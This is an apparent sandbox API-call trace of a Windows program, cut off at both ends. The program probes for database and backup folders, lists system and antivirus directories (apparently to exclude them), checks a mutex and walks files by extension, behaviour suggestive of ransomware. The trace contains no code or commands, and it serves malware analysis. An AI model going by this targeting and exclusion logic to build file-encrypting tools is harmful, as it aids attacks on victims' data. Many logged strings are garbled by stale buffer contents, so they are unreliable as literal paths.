lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0057.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@嵤R企@\x18?T\x18;")) returned 0xffffffff [0057.308] GetLastError () returned 0x2 [0057.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0057.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@劔U企@\x18?T\x18D")) returned 0xffffffff [0057.310] GetLastError () returned 0x2 [0057.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0057.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0057.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@庄R企@\x18嵤R\x18j")) returned 0xffffffff [0057.312] GetLastError () returned 0x2 [0057.312] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0057.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0057.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@匼U企@\x18?T\x18q")) returned 0xffffffff [0057.315] GetLastError () returned 0x2 [0057.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\嵠R\x90") returned 6 [0057.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0057.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@ꍴR企@\x18?T\x18y")) returned 0xffffffff [0057.317] GetLastError () returned 0x2 [0057.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0057.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0057.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@劔U企@\x18?T\x18\x81")) returned 0xffffffff [0057.319] GetLastError () returned 0x2 [0057.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0057.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0057.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@匼U企@\x18?T\x18\x88")) returned 0xffffffff [0057.321] GetLastError () returned 0x2 [0057.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0057.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0057.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@ꍴR企@\x18?T\x18\x8f")) returned 0xffffffff [0057.324] GetLastError () returned 0x2 [0057.324] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0057.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0057.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="聄R䱠@劔U企@\x18?T\x18\x97")) returned 0xffffffff [0057.326] GetLastError () returned 0x2 [0057.326] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0057.326] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.326] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.326] GlobalUnlock (hMem=0x440004) returned 0 [0057.326] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.326] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.326] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.326] GlobalUnlock (hMem=0x440004) returned 0 [0057.326] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.326] GlobalUnlock (hMem=0x44000c) returned 0 [0057.326] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.326] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.327] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0057.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.327] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.327] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.328] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.328] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.328] GlobalUnlock (hMem=0x44000c) returned 0 [0057.328] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.328] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.328] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.328] GlobalUnlock (hMem=0x44000c) returned 0 [0057.328] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.328] GlobalUnlock (hMem=0x440004) returned 0 [0057.328] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.328] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.328] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.329] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0057.329] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0057.329] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0057.329] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0057.330] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.330] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", cchLength=0x2c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\") returned 0x2c [0057.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0057.330] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.330] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.330] GlobalUnlock (hMem=0x440004) returned 0 [0057.330] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.330] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.330] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.330] GlobalUnlock (hMem=0x440004) returned 0 [0057.330] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.330] GlobalUnlock (hMem=0x44000c) returned 0 [0057.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.331] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.331] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0057.331] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0057.331] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.331] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.331] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.331] GlobalUnlock (hMem=0x44000c) returned 0 [0057.331] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.331] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.331] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.331] GlobalUnlock (hMem=0x44000c) returned 0 [0057.331] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.331] GlobalUnlock (hMem=0x440004) returned 0 [0057.331] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.332] CharLowerBuffW (in: lpsz="16to9Squareframe_Buttongraphic.png", cchLength=0x22 | out: lpsz="16to9squareframe_buttongraphic.png") returned 0x22 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, 